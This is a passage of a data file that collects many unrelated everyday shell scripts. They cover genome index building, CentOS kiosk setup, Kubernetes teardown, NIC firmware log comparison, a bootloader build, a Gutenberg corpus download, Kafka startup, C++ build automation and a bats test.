echo $block_query | jq '.block.header.time' >> block_time.txt\n echo $block_query | jq '.block.data.txs[0]' >> block_time.txt\n\n echo \" \" >> block_time.txt\n\n\n sleep 5\n\n\n\n\n\ndone"} {"text": "#!/bin/sh\n\n#\n# Downloads sequence for a D. melanogaster from flybase. Currently set\n# to download 5.22, but F, REL, and IDX_NAME can be edited to reflect a\n# different version number. (But note that you will usually also have\n# to change the date in REL.)\n#\n\nDM6_BASE=ftp://hgdownload.cse.ucsc.edu/goldenPath/dm6/bigZips\nF=dm6.fa.gz\n\nget() {\n\tfile=$1\n\tif ! wget --version >/dev/null 2>/dev/null ; then\n\t\tif ! curl --version >/dev/null 2>/dev/null ; then\n\t\t\techo \"Please install wget or curl somewhere in your PATH\"\n\t\t\texit 1\n\t\tfi\n\t\tcurl -o `basename $1` $1\n\t\treturn $?\n\telse\n\t\twget -O `basename $1` $1\n\t\treturn $?\n\tfi\n}\n\nHISAT2_BUILD_EXE=./hisat2-build\nif [ ! -x \"$HISAT2_BUILD_EXE\" ] ; then\n\tif ! which hisat2-build ; then\n\t\techo \"Could not find hisat2-build in current directory or in PATH\"\n\t\texit 1\n\telse\n\t\tHISAT2_BUILD_EXE=`which hisat2-build`\n\tfi\nfi\n\nrm -f genome.fa\nget ${DM6_BASE}/$F || (echo \"Error getting $F\" && exit 1)\ngzip -cd $F > genome.fa || (echo \"Error unzipping $F\" && exit 1)\nrm $F\n\nCMD=\"${HISAT2_BUILD_EXE} genome.fa genome\"\necho \"Running $CMD\"\nif $CMD ; then\n\techo \"genome index built; you may remove fasta files\"\nelse\n\techo \"Index building failed; see error message\"\nfi"} {"text": "ConstableBrew/magicbox-player0\n#!/bin/bash\n\n# Snip-its Kiosk Generator\n# Forked from KIOSK generator for Scientific Linux and CentOS\n\n############### Configuration\n\nmainsite=http://snipits-magicbox.herokuapp.com/\n#Site that will be loaded as default after KIOSK start.\n\nlog=/var/log/make-kiosk.log\n# The directiry and file name where log output will be saved.\n# You may specify any location because script run from root account.\n\nuser=$( whoami )\n# User name that run the script. No reasons to change it.\n\n############### End of configuration options\n\necho -e \"Welcome in \\e[93mSnip-its Kiosk generator \\e[39mfor CentOS.\"\necho -e \"Supporting CentOS 7.\"\necho \"\"\necho \"This script will install additional software and will make changes\"\necho \"in system config files to make it work in KIOSK mode after reboot\"\necho \"with Chrome started as web browser.\"\necho \"\"\necho \"The log file will be created in /var/log/make-kiosk.log\"\necho \"Please attach this file for error reports.\"\necho \"\"\nif [ $user != root ]\nthen\n echo \"You must be root. Mission aborted!\"\n echo \"You are trying to start this script as: $user\"\n echo \"User $user didn't have root rights!\" >> make-kiosk.log\n exit 0\nfi\necho \"------------------- ---------- -------- ----- -\" >> $log\ndate >> $log\necho \"Generating detected CPU & Kernel log.\"\ncat /etc/*-release >> $log\nuname -a >> $log\nlscpu 1>> $log 2>> $log\necho \"This process will take some time, please be patient...\"\n\necho \"Operation done in 5%\"\necho \"Adding user kiosk.\"\necho \"Adding user kiosk.\" >> $log\nuseradd kiosk 1>> $log 2>> $log\necho \"Installing wget.\"\necho \"Installing wget.\" >> $log\nyum -y install wget 1>> $log 2>> $log\n\necho \"Operation done in 10%\"\necho \"Installing X Window system with GDM/Gnome/Matchbox. It will take very long!!! Be patient!!! Downloading up to ~300MB\"\necho \"Installing X Window system with GDM/Gnome/Matchbox.\" >> $log\nyum -y groupinstall basic-desktop x11 fonts base-x 1>> $log 2>> $log\nyum -y install gdm 1>> $log 2>> $log\nyum -y install matchbox-window-manager 1>> $log 2>> $log\nyum -y install rsync 1>> $log 2>> $log\n\necho \"Operation done in 60%\"\necho \"Adding Xinit Session support.\" >> $log\necho \"Adding Xinit Session support.\"\nyum -y install gnome-session-xsession 1>> $log 2>> $log\nyum -y install xorg-x11-xinit-session 1>> $log 2>> $log\n\necho \"Creating google-chrome yum repo file\" >> $log\necho \"Creating google-chrome yum repo file\"\ntouch /etc/yum.repos.d/google-chrome.repo\necho \"[google-chrome]\" >> /etc/yum.repos.d/google-chrome.repo\necho \"[google-chrome]\" >> $log\necho \"name=google-chrome\" >> /etc/yum.repos.d/google-chrome.repo\necho \"name=google-chrome\" >> $log\necho \"baseurl=http://dl.google.com/linux/chrome/rpm/stable/$basearch\" >> /etc/yum.repos.d/google-chrome.repo\necho \"baseurl=http://dl.google.com/linux/chrome/rpm/stable/$basearch\" >> $log\necho \"enabled=1\" >> /etc/yum.repos.d/google-chrome.repo\necho \"enabled=1\" >> $log\necho \"gpgcheck=1\" >> /etc/yum.repos.d/google-chrome.repo\necho \"gpgcheck=1\" >> $log\necho \"gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub\" >> /etc/yum.repos.d/google-chrome.repo\necho \"gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub\" >> $log\necho \"Installing google-chrome\" >> $log\necho \"Installing google-chrome\"\nyum -y install google-chrome-stable 1>> $log 2>> $log\n\necho \"Operation done in 85%\"\necho \"Configuring login manager (GDM), adding lines for autologin kiosk user.\"\n\necho \"Adding line to /etc/gdm/custom.conf for automatic login.\"\necho \"Adding line to /etc/gdm/custom.conf for automatic login.\" >> $log\nsed -i '/daemon]/aAutomaticLoginEnable=true' /etc/gdm/custom.conf 1>> $log 2>> $log\necho \"Adding line to /etc/gdm/custom.conf for login user name.\"\necho \"Adding line to /etc/gdm/custom.conf for login user name.\" >> $log\nsed -i '/AutomaticLoginEnable=true/aAutomaticLogin=kiosk' /etc/gdm/custom.conf 1>> $log 2>> $log\necho \"Adding line to /etc/gdm/custom.conf for default X Session in EL7.\" >> $log\necho \"And creating session file for specific user in /var/lib/AccountsService/users/kiosk.\" >> $log\nsed -i '/AutomaticLogin=kiosk/aDefaultSession=xinit-compat.desktop' /etc/gdm/custom.conf 1>> $log 2>> $log\ntouch /var/lib/AccountsService/users/kiosk\nchmod 644 /var/lib/AccountsService/users/kiosk\necho \"[User]\" >> /var/lib/AccountsService/users/kiosk\necho \"Language=\" >> /var/lib/AccountsService/users/kiosk\necho \"XSession=xinit-compat\" >> /var/lib/AccountsService/users/kiosk\necho \"SystemAccount=false\" >> /var/lib/AccountsService/users/kiosk\n\necho \"Operation done in 90%\"\necho \"Configuring system to start in graphical mode.\"\necho \"Configuring system to start in graphical mode.\" >> $log\necho \"Current starting mode in EL7 (text or graphical is:\" >> $log\nsystemctl get-default 1>> $log 2>> $log\necho \"Setting up graphical boot in EL7.\" >> $log\nsystemctl set-default graphical.target 1>> $log 2>> $log\n\necho \"Operation done in 93%\"\necho \"Disabling firstboot.\"\necho \"Disabling firstboot.\" >> $log\necho \"RUN_FIRSTBOOT=NO\" > /etc/sysconfig/firstboot\n\necho \"Operation done in 94%\"\necho \"Generating browser startup config file.\"\necho \"Generating browser startup config file.\" >> $log\necho \"xset s off\" > /home/kiosk/.xsession\necho \"xset -dpms\" >> /home/kiosk/.xsession\necho \"matchbox-window-manager &\" >> /home/kiosk/.xsession\necho \"while true; do\" >> /home/kiosk/.xsession\necho \"rsync -qr --delete --exclude='.Xauthority' /opt/kiosk/ /home/kiosk/\" >> /home/kiosk/.xsession\necho \"google-chrome --kiosk --no-first-run $mainsite\" >> /home/kiosk/.xsession\necho \"done\" >> /home/kiosk/.xsession\n\necho \"Operation done in 96%\"\necho \"Copying files for reseting every user restart.\" >> $log\necho \"Copying files for reseting every user restart.\"\ncp -r /home/kiosk /opt/\nchmod 755 /opt/kiosk\nchown kiosk:kiosk -R /opt/kiosk\necho \"Operation done in 100%\"\necho \"Mission completed!\"\necho \"\"\necho \"If You got any comments or questions: \"\necho \"Remember that after reboot it should start directly in KIOSK.\"\necho -e \"\\e[92mUse \\e[93mCTRL+ALT+F2 \\e[92mto go to console in KIOSK mode!!!\"\necho -e \"\\e[39mThank You.\"\necho \"Job done!\" >> $log\nsleep 6"} {"text": "#!/bin/bash\nkubectl delete -f prosody-deploy.yaml &&\nkubectl delete -f prosody-service.yaml &&\n\nkubectl delete -f jvb-deploy.yaml &&\nkubectl delete -f jvb-service.yaml &&\n\nkubectl delete -f jicofo-deploy.yaml &&\n\nkubectl delete -f web-deploy.yaml &&\nkubectl delete -f web-service.yaml &&\n\necho all deployments and services deleted '(-_-)'"} {"text": "afdzalnazri/broadcomfunctions/nsis/C/ALBERT/Albert/10451.1-20210528T053305Z-001/10451.1/source/check_img/log_check.sh\n#!/bin/bash\n\n\nif [ $# -ne 2 ] ; then\n echo \"Usage: $0 \"\n exit 1\nfi\n\nif [[ ! -f \"check_img.txt\" || ! -f \"log_cfg.txt\" || ! -f \"check_mac.txt\" ]] ; then\n echo \"The check_img.txt, log_cfg.txt or check_mac.txt do not exist\"\n exit\nfi\nCHK_IMG_1=\"check_img.txt\"\nCHK_IMG_2=$1\nLOG_CFG_1=\"log_cfg.txt\"\nLOG_CFG_2=$2\nMAC_CFG=\"check_mac.txt\"\n\n# always skip filter1\nfilter1_array=( \"Log open time:\" \"Duration:\" \"Log close time:\" \"PCIE-\")\nfilter1_count=${#filter1_array[@]}\n\n# check NVM content filter2\nfilter2_array=( \"PKG_LOG\" \"FCFG\" \"PCFG\" \"SCFG\" \"VPD\" \"SN =\" \"VB =\" \"FAC_CFG\" \"SYS_CFG\" \"FACT_CFG\" \"QOS_PRF\" \"CFG_TBL\" \"IB_CFG\")\nfilter2_count=${#filter2_array[@]}\n\n# check NVM content filter3\nfilter3_array=( \"Creation Date\" \"\\[F\\] MAC address\" \"\\[P\\] BMC MAC Address\")\nfilter3_count=${#filter3_array[@]}\n\nNVM_STRING1=\"Computed\"\n\nNVM_CRC_START=0\nNVM_CRC_RESULT=0\nNVM_CRC_OFFSET=0\nMT_VER_RESULT=0\n\nwhile read -r line; do\n if echo $line | grep -q \"==\" ; then\n continue;\n fi\n if echo $line | grep -q \"bnxtmt version\" ; then\n TOOL_VER=${line}\n if ! cat $CHK_IMG_1 | grep -q \"$line\" ; then\n MT_VER_RESULT=1\n fi\n elif echo $line | grep -q \"PCIE-\" ; then\n BRD_RV=`echo $line | awk '{printf $3}'`\n PCI_WIDTH=`echo $line | awk '{printf $5}'`\n PCI_SPD=`echo $line | awk '{printf $6}'`\n FAM_VER=`echo $line | awk '{printf $10}'`\n elif echo $line | grep -q \"SN =\" ; then\n SER_NUM=`echo $line | awk '{printf $3}'`\n else\n if echo $line | grep -q \"$NVM_STRING1\" ; then\n NVM_CRC_START=1\n continue;\n\tfi\n fi\n if [ $NVM_CRC_START == \"1\" ] ; then\n item_idx=`echo $line | awk '{printf $1}'`\n if echo $item_idx | grep -q \"^[0-9]*$\" ; then\n # echo \"item index $item_idx\"\n # check result\n if ! echo $line | grep -q \"OK\" ; then\n #echo \"CRC result ERROR\"\n NVM_CRC_RESULT=1\n #echo $line\n fi\n else\n NVM_CRC_START=0\n fi\n fi\ndone < $CHK_IMG_2\n\n\n\n# comprasion NVM DIR and NVM CRC and VPD sections.\n\nCMP_L_LINE=`cat $CHK_IMG_1 | grep -in \"NVM Offset\" -m1 `\nCMP_R_LINE=`cat $CHK_IMG_2 | grep -in \"NVM Offset\" -m1 `\nCMP_L_LINE=${CMP_L_LINE%:*}\nCMP_R_LINE=${CMP_R_LINE%:*}\nTOTAL_L_LINE=`cat $CHK_IMG_1 | wc -l`\nTOTAL_R_LINE=`cat $CHK_IMG_2 | wc -l`\n(( TAIL_L = TOTAL_L_LINE - CMP_L_LINE))\n(( TAIL_R = TOTAL_R_LINE - CMP_R_LINE))\n\nPKG_LOG_VER_L=0\nPKG_LOG_VER_R=0\nSER_NUM_L=0\nSER_NUM_R=0\nNVM_CRC_STR=\" \"\nVPD_V2=0\nVPD_V4=0\nVPD_VB=0\nwhile read -r line; do\n filter1_index=0\n filter1_flag=0\n filter2_index=0\n filter2_flag=0\n while [ \"$filter1_index\" -lt \"$filter1_count\" ]\n do \n if echo $line | grep -q \"${filter1_array[$filter1_index]}\" ; then\n #echo $line\n filter1_flag=1\n break;\n fi\n ((filter1_index++))\n done\n if [ $filter1_flag == 1 ] ; then\n continue;\n fi\n\n while [ \"$filter2_index\" -lt \"$filter2_count\" ]\n do\n if echo $line | grep -q \"${filter2_array[$filter2_index]}\" ; then\n #echo $line\n words=`wc -w <<< \"$line\"`\n if [ \"${filter2_array[$filter2_index]}\" == \"PKG_LOG\" ] ; then\n if [ $words == \"6\" ] ; then\n # echo \"PKG LOG NVM DIR\"\n if echo $line | grep -q \"<\" ; then\n PKG_LOG_VER_L=\"${line#*)}\"\n fi\n if echo $line | grep -q \">\" ; then\n PKG_LOG_VER_R=\"${line#*)}\"\n fi\n filter2_flag=1\n break;\n fi\n fi \n if [ \"${filter2_array[$filter2_index]}\" == \"SN =\" ] ; then\n if echo $line | grep -q \"<\" ; then\n SER_NUM_L=`echo $line | awk '{printf $4}'`\n SER_NUM_L=${#SER_NUM_L}\n fi\n if echo $line | grep -q \">\" ; then\n SER_NUM_R=`echo $line | awk '{printf $4}'`\n SER_NUM_R=${#SER_NUM_R}\n fi\n fi\n filter2_flag=1\n\n break;\n fi\n ((filter2_index++))\n done\n # special for VPD V2 and V4. If not equal, it's dynamic data and show on manaul checking.\n if echo $line | grep -q \"V2 =\" ; then\n VPD_V2=1\n filter2_flag=1\n elif echo $line | grep -q \"V4 =\" ; then \n VPD_V4=1\n filter2_flag=1\n elif echo $line | grep -iq \"VB =\" ; then \n VPD_VB=1\n filter2_flag=1\n fi\n # skip empty\n if [ \"${line}\" == \"<\" ] || [ \"${line}\" == \">\" ]; then\n filter2_flag=1\n fi\n \n if [ $filter2_flag == 1 ] ; then\n continue;\n fi\n\n # Special for CHDMP Type, it connected togother with type and ordianl dumped from bnxtmt.\n # SKIP chashdump checking \n # CHDMP_D00\n # CHDMP_D01\n if echo $line | grep -q \"CHDMP_D0\" ; then\n continue;\n fi\n\n # Skip temp\n if echo $line | grep -iq \"reading temperature\"; then\n break;\n fi\n \n NVM_CRC_STR+=$line\"\\n\\t\"\ndone < <(diff -bwB <(cat $CHK_IMG_1 | sed 's/^[ \\t]*//' | tr -s ' ' | cut -d' ' -f4 --complement | tail -n $TAIL_L) <(cat $CHK_IMG_2 | sed 's/^[ \\t]*//' | tr -s ' ' | cut -d' ' -f4 --complement | tail -n $TAIL_R) | grep \">\\|<\")\n\n# pkg version was checking on VPD, skip it\n#if [[ $PKG_LOG_VER_L != $PKG_LOG_VER_R ]]; then\n# NVM_CRC_STR+=\"PKG LOG VERISION MISMATCH!!\"\n#fi\n\n# Skip serial number checking, it needs to check with manaul review\n#if [[ $SER_NUM_L != $SER_NUM_R ]]; then\n# NVM_CRC_STR+=\"SN LENGTH MISMATCH!!\"\n#fi\nif [[ $NVM_CRC_RESULT == \"1\" ]]; then\n NVM_CRC_STR+=\"NVM CRC ERROR or OFFSET MISMATCH!!\"\nfi\nif [[ $MT_VER_RESULT == \"1\" ]]; then\n NVM_CRC_STR+=\"BNXTMT Version MISMATCH!!\"\nfi\n# comparsion NVM CFG \nNVM_CFG_STR=\" \"\n\nwhile read -r line; do\n\n filter3_index=0\n filter3_flag=0\n\n while [ \"$filter3_index\" -lt \"$filter3_count\" ]\n do\n if echo $line | grep -q \"${filter3_array[$filter3_index]}\" ; then\n filter3_flag=1\n break;\n fi\n ((filter3_index++))\n done\n if [ $filter3_flag == 1 ] ; then\n continue;\n fi\n\n\n NVM_CFG_STR+=$line' \\n\\t'\ndone < <(diff -bwB $LOG_CFG_1 $LOG_CFG_2 | grep \">\\|<\" )\n\n# Display MAC Address\n\nep_index=0\n\nwhile read -r line; do\n MAC_ADDR=`echo $line | awk '{printf $7}'`\n if [[ $MAC_ADDR != \"00:00:00:00:00:00\" ]]; then\n if [ $ep_index == \"0\" ]; then\n BASE_MAC=${MAC_ADDR}\n read A B C D E F <<<\"${MAC_ADDR//:/ }\"\n MAC_VAL=$((0x${E}*256+0x${F}))\n #echo \"$BASE_MAC $E $F $MAC_VAL\"\n else\n read A B C D E F <<<\"${MAC_ADDR//:/ }\"\n DIFF_VAL=$((0x${E}*256+0x${F} - MAC_VAL))\n\n # look for MPF file\n inc_index=`cat $MAC_CFG | grep -v '^#' | grep -w \"ordinal = $ep_index\" -A 2 | grep \"mac_type = primary\" -A 1 | grep \"increment\" | awk '{printf \"%d\", $3}'`\n # echo \"$BASE_MAC $E $F ${DIFF_VAL} ${inc_index}\"\n if [[ $inc_index ]]; then\n if [ \"$inc_index\" != \"$DIFF_VAL\" ] ; then\n NVM_CFG_STR+=\"EP $ep_index MAC rule not match with MPF file\\n\\t\"\n fi\n else\n NVM_CFG_STR+=\"EP $ep_index MAC rule not in MPF file\\n\\t\"\n fi\n fi\n fi\n ((ep_index++))\ndone < <(cat $LOG_CFG_2 | grep \"\\[F\\] MAC address\")\n\nep_index=0\nwhile read -r line; do\n MAC_ADDR=`echo $line | awk '{printf $7}'`\n if [[ $MAC_ADDR != \"00:00:00:00:00:00\" ]]; then\n read A B C D E F <<<\"${MAC_ADDR//:/ }\"\n DIFF_VAL=$((0x${E}*256+0x${F} - MAC_VAL))\n\n # look for MPF file\n inc_index=`cat $MAC_CFG | grep -v '^#' | grep -w \"ordinal = $ep_index\" -A 2 | grep \"mac_type = BMC\" -A 1 |grep \"increment\" | awk '{printf \"%d\", $3}'`\n #echo \"$BASE_MAC $E $F $DIFF_VAL $inc_index\"\n if [[ $inc_index ]]; then\n if [ $inc_index != $DIFF_VAL ]; then\n NVM_CFG_STR+=\"BMC $ep_index MAC rule not match with MPF file\\n\\t\"\n fi\n else\n NVM_CFG_STR+=\"BMC $ep_index MAC rule not in MPF file\\n\\t\"\n fi\n fi \n\n ((ep_index++))\ndone < <(cat $LOG_CFG_2 | grep \"\\[P\\] BMC MAC Address\")\n\n\n\n\n\n\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nNC='\\033[0m'\n\necho \"====== Logs Auto-Comparison ======\"\nif [[ $NVM_CRC_STR == \" \" ]]; then\n echo -e \" NVM DIR/CRC and VPD: ${GREEN}PASSED${NC}\"\nelse\n echo -e \" NVM DIR/CRC and VPD: ${RED}FAILED${NC}\"\n echo -e \" DEBUG STRING:\"\n echo -e \"\\t$NVM_CRC_STR\"\nfi\nif [[ $NVM_CFG_STR == \" \" ]]; then\n echo -e \" NVM CFG: ${GREEN}PASSED${NC}\"\nelse\n echo -e \" NVM CFG: ${RED}FAILED${NC}\"\n\n echo -e \" DEBUG STRING:\"\n echo -e \"\\t$NVM_CFG_STR\"\nfi\n\n\n\necho \"====== Data Manual Checking ======\"\n\n#echo -e \" $TOOL_VER\"\n#echo -e \" CHIP VERSION: $BRD_RV\"\nif [[ $PCI_SPD == \"5.0\" ]]; then\necho -e \" PCIE SPEED/WIDTH: GEN 2x${PCI_WIDTH#*-}\"\nelif [[ $PCI_SPD == \"8.0\" ]]; then\necho -e \" PCIE SPEED/WIDTH: GEN 3x${PCI_WIDTH#*-}\"\nelif [[ $PCI_SPD == \"16.0\" ]]; then\necho -e \" PCIE SPEED/WIDTH: GEN 4x${PCI_WIDTH#*-}\"\nfi\n#echo -e \" FAMILY VERSION: $FAM_VER\"\necho -e \" Serial Number: $SER_NUM (${#SER_NUM})\"\n\n\n# Display Dynamic VPD\n\nwhile read -r line; do\n if [ $VPD_V2 == 1 ]; then\n echo -e \" VPD $line\"\n fi\ndone < <(cat $CHK_IMG_2 | grep \"V2 =\")\nwhile read -r line; do\n if [ $VPD_V4 == 1 ]; then\n echo -e \" VPD $line\"\n fi\ndone < <(cat $CHK_IMG_2 | grep \"V4 =\")\nwhile read -r line; do\n if [ $VPD_VB == 1 ]; then\n echo -e \" VPD $line\"\n fi\ndone < <(cat $CHK_IMG_2 | grep -i \"VB =\")\n\n\n# Display temp\n# Temperature: 33 øC\n# AVS_TMON1: 31 øC\n# AVS_TMON2: 33 øC\n\n\nwhile read -r line; do\n echo -e \" $line\"\ndone < <(cat $CHK_IMG_2 | grep -i \"Temperature:\")\nwhile read -r line; do\n echo -e \" $line\"\ndone < <(cat $CHK_IMG_2 | grep -i \"AVS_TMON\")\n\n \n# Display MAC Address \n\nep_index=0\n\nwhile read -r line; do\n MAC_ADDR=`echo $line | awk '{printf $7}'`\n if cat $MAC_CFG | grep -v '^#' | grep -w \"ordinal = $ep_index\" -A 2 | grep -q \"mac_type = primary\" ; then\n if (( $ep_index >= 10 )); then\n echo -e \" EP $ep_index MAC: $MAC_ADDR\"\n else\n echo -e \" EP $ep_index MAC: $MAC_ADDR\"\n fi\n fi\n ((ep_index++))\ndone < <(cat $LOG_CFG_2 | grep \"\\[F\\] MAC address\")\n\nep_index=0\nwhile read -r line; do\n MAC_ADDR=`echo $line | awk '{printf $7}'`\n if cat $MAC_CFG | grep -v '^#' | grep -w \"ordinal = $ep_index\" -A 2 | grep -q \"mac_type = BMC\" ; then\n echo -e \" BMC $ep_index MAC: $MAC_ADDR\"\n fi\n ((ep_index++))\ndone < <(cat $LOG_CFG_2 | grep \"\\[P\\] BMC MAC Address\")\n\necho \"========= END =========\""} {"text": "#!/bin/bash\n\nas -o boot.o boot.s\nld -o boot.bin --oformat binary -Ttext 0x7c00 -e _start boot.o\n#qemu-system-x86_64 boot.bin\n\ndd if=/dev/zero of=floppy.img bs=1024 count=1024\ndd if=boot.bin of=floppy.img conv=notrunc"} {"text": "#!/bin/bash\n\n# getcorpus.sh: Get a selection of books (a \"corpus\") from Project\n# Gutenburg and convert them to ASCII (if need be).\n\n# b9 2018\n\n# This will download a maximum of 25 books (the search result size).\n# Filenames are all digits followed by \".txt\". (E.g., \"36532.txt\")\n\n# You can modify the search query below with author, title, or subject.\n# Default is 's \"The\n# {Blue,Brown,Crimson,Green,Grey,Lilac,Olive,Orange,Pink,Red,Violet,Yellow}\n# Fairy Book\"\n\n\nurl=\"https://www.gutenberg.org/ebooks/search/?query=\"\nlanguage=\"english\"\nauthor=\"\"\ntitle=\"fairy\"\nsubject=\"\"\n\n######################################################################\n\ndegutenfy() {\n # Trim the Project Gutenberg standard headers and footers before we\n # count up the word frequencies. (Otherwise \"Gutenberg\" is always one\n # of the most popular words!)\n sed -r '1,/(START OF.*GUTENBERG|END THE SMALL PRINT)/ d;\n\t /(END OF.*GUTENBERG|End of.*Gutenberg)/,$ d;'\n}\n\nurl=\"$url\"$(for f in $language; do echo -n \"+l.$f.\"; done)\nurl=\"$url\"$(for f in $author; do echo -n \"+a.$f.\"; done)\nurl=\"$url\"$(for f in $title; do echo -n \"+t.$f.\"; done)\nurl=\"$url\"$(for f in $subject; do echo -n \"+s.$f.\"; done)\n\necho \"$url\"\nif [ -r debug.html ]; then\n html=$(cat debug.html)\t# Let's not tromple the PG server while testing\nelse\n html=$(curl \"$url\")\nfi\n\nebooknumbers=$(echo \"$html\" | grep -Po '(?<=ebooks/)[0-9]+')\n\ngutfile=www.gutenberg.org/files\nfor book in $ebooknumbers; do\n echo $gutfile/$book/$book.txt\n if ! wget --no-clobber https://$gutfile/$book/$book.txt; then\n\n\t# Prefer the plain ASCII version, but download UTF-8 if needbe.\n\techo \"No plain ASCII version found.\" >&2\n\tif wget --no-clobber https://$gutfile/$book/$book-0.txt; then\n\t echo \"Found Unicode. Presuming UTF-8 and converting to ASCII.\" >&2\n\t iconv -f UTF-8 -t ASCII//TRANSLIT < $book-0.txt > $book.txt\n\telif wget --no-clobber https://$gutfile/$book/$book-8.txt; then\n\t echo \"Found 8-bit. Presuming Latin-1 and converting to ASCII.\" >&2\n\t iconv -f 8859_1 -t ASCII//TRANSLIT < $book-8.txt > $book.txt\n\telse\n\t echo \"Couldn't find UTF-8 or Latin1, either. Skipping $book.\" >&2\n\t continue\n\tfi\n\n fi\n\n # Remove standard project gutenberg headers and footers\n degutenfy < $book.txt > temp.txt\n if [ -s temp.txt ]; then\n\tmv $book.txt $book.txt.orig\n\tmv temp.txt $book.txt\n else\n\trm temp.txt\n fi\n\ndone"} {"text": "tests/verify_spamsum.sh\n#!/bin/sh\nrepo_dir=\"`dirname $0`/..\"\ncd \"$repo_dir\"\n\noriginal=original/spamsum\nspamspy=spamspy/spamsum.py\n\ntarget_files=\"original/spamsum.c LICENSE README.rst tests/data/*\"\n\n\n(cd original/; make)\n\nfor target_file in $target_files; do\n echo -n \"Comparing $target_file - \"\n\n original_out=`$original $target_file`\n spamspy_out=`$spamspy $target_file`\n\n if [ \"$original_out\" = \"$spamspy_out\" ]; then\n echo \"OK\"\n else\n echo \"differ\"\n exit 1\n fi\ndone"} {"text": "#!/bin/bash\n\nset -e\n\necho `date` $0\n\n/wait-for-step.sh\n/execute-step.sh\n\nif [[ $ENABLE_INIT_DAEMON = \"true\" ]] ;then\n (\n while ! ( /healthcheck ) ;do echo expect to become healthy; sleep 1; done\n echo XXX $0 initialisation finished, service is healthy\n /finish-step.sh\n ) &\nfi\n \necho $0 \nif [[ -z \"$INITIAL_TOPICS\" ]] ;then\n echo $0 : no INITIAL_TOPICS\nelse\n echo $0 : make topics INITIAL_TOPICS=$INITIAL_TOPICS\n export MAKETOPIC_CMD=\"/app/bin/kafka-topics.sh \\\n --zookeeper $ZOOKEEPER_SERVERS \\\n --create --partitions 1 --replication-factor 1 --topic\"\n (\n # await kafka server at localhost\n until nc -z localhost 9092 ;do\n >&2 echo \"localhost 9092 is yet unavailable - sleep 1\"\n sleep 1\n done\n echo \"localhost:9092 is available\"\n\n $MAKETOPIC_CMD fcd-messages\n RC=$?\n if [[ $RC == 0 ]] ;then\n touch /INITIAL_TOPICS_AVAILABLE\n echo available: INITIAL_TOPICS=$INITIAL_TOPICS\n else\n echo cannot create INITIAL_TOPICS: $INITIAL_TOPICS\n fi\n ) &\nfi\n\nexec /app/bin/kafka-server-start.sh /app/config/server.properties --override zookeeper.connect=$ZOOKEEPER_SERVERS"} {"text": "dp770/aws_deepracer_worksheetscripts/convert_evaluation_log_to_csv.sh1-10\necho \"Episode,Step,X,Y,Heading,Steering,Speed,Action,Reward,Crashed,On Track,Progress,Waypoint Index,Track_Len,Time,Status,Laps\" > $1.csv\negrep \"^SIM_TRACE_LOG:\" $1 | sed 's/SIM_TRACE_LOG://g' >> $1.csv"} {"text": "#!/bin/bash\n\nSELF=$0\nSDIR=$( cd $( dirname \"$SELF\" ); pwd )\nVERSION=$( git tag -l --points-at $( git rev-parse HEAD ) | tr '-' '.' )\n\nsource dbinit.sh\n\nset -eu\n\nfunction build( ) {\n local profile=${CONAN_USERNAME:-$USER}-$(\n case \"$( git branch )\" in\n *master*) echo \"stable\"\n ;;\n *) echo \"testing\"\n ;;\n esac )\n local commit=$( git rev-parse HEAD | cut -c 1-6 )$( git diff --quiet || echo \"-dirty\" )\n\n conan profile new --detect --force ${profile} || exit $?\n conan profile update settings.compiler.libcxx=libstdc++11 ${profile} || exit $?\n GCC_VER=$( gcc --version | awk '/^gcc/ { print $NF }' )\n if test \"${GCC_VER//.*}\" == \"10\"; then\n conan profile update settings.compiler.version=${GCC_VER%.*} ${profile} || exit $?\n fi\n\n test ! -d build && mkdir build\n\n (\n cd build\n\n conan install .. --build=missing -pr ${profile} -s build_type=${1:-Release}\n cmake .. -DVERSION=${VERSION} -DCOMMIT=${commit} -DCMAKE_BUILD_TYPE=${1:-Release}\n VERBOSE=1 cmake --build .\n cmake --install .\n )\n\n start\n \n cp -v restsrv.ini build/bin/\n\n ( cd \"${SDIR}/build\";\n export LD_LIBRARY_PATH=${PWD}:${PWD}/lib:${PWD}/bin:${PWD}/src\n make test\n \n RET=$?\n \n if test ${RET} -ne 0; then\n cat Testing/Temporary/LastTest.log\n fi\n \n exit $RET\n ); RET=$?\n \n return $RET\n}\n\nfunction container( ) {\n docker build . \\\n -t ${1:-restsrv:latest} \\\n ${CONAN_LOCAL_REPO:+--build-arg CONAN_LOCAL_REPO=${CONAN_LOCAL_REPO}} \\\n ${CONAN_REPO_USER:+--build-arg CONAN_REPO_USER=${CONAN_REPO_USER}} \\\n ${CONAN_REPO_PASS:+--build-arg CONAN_REPO_PASS=${CONAN_REPO_PASS}} \\\n --build-arg VERSION=${VERSION} \"${@:2}\"\n}\n\ncase \"${1:-local}\" in\n local)\n build \"${@:2}\"\n ;;\n container)\n $1 \"${@:2}\"\n ;;\nesac"} {"text": "#!/bin/bash\n\n# here goes everything, you need to stop the running presentation\n# basically kill or stop everything you started in `start-presentation.sh`\n\npkill xeyes &\n\nexit 0"} {"text": "#!/usr/bin/env bats\n\nload 'test_helper/utils'\nload 'test_helper/bats-support/load'\nload 'test_helper/bats-assert/load'\nload 'test_helper/mocks/stub'\n\nsetup() {\n [[ ! -f \"$BATS_MOCK_TMPDIR\" ]] || rm -rf \"$BATS_MOCK_TMPDIR\"\n stub_node_deps\n}\n\n# teardown() {\n# }\n\n@test \"prints help\" {\n run bin/contentful -h\n assert_success\n assert_output --partial \"bin/contentful [opts]\"\n}\n\n@test \"does not allow unknown subcommand\" {\n run bin/contentful asdfblah\n assert_failure\n assert_output --partial \"asdfblah\"\n}\n\n@test \"allows flags before and after subcommand\" {\n stub curl \\\n \"-s https://api.contentful.com/spaces/testspace/environments?access_token=test-token : cat test/fixtures/environments.json\"\n\n run bin/contentful -s testspace env -a test-token -e test\n\n assert_success\n assert_output <<- EOF\nEnvironments:\n master\n gburgett\n staging\nEOF\n\n unstub curl\n}"} {"text": "#!/bin/bash\n#Written , 31/10/2013\n#Purpose is to test power usage on smart power strips\n \n#See http://www.oidview.com/mibs/318/PowerNet-MIB.html\n \n#OID's of use for multi bank PDU\n#.1.3.6.1.4.1.318.1.1.12.2.3.1.1.2.1 <- Multi-Bank Total Load (divide by 10)\n#.1.3.6.1.4.1.318.1.1.12.2.3.1.1.2.2 <- Multi-Bank B1 Load (divide by 10)\n#.1.3.6.1.4.1.318.1.1.12.2.3.1.1.2.3 <- Multi-Bank B2 Load (divide by 10)\n 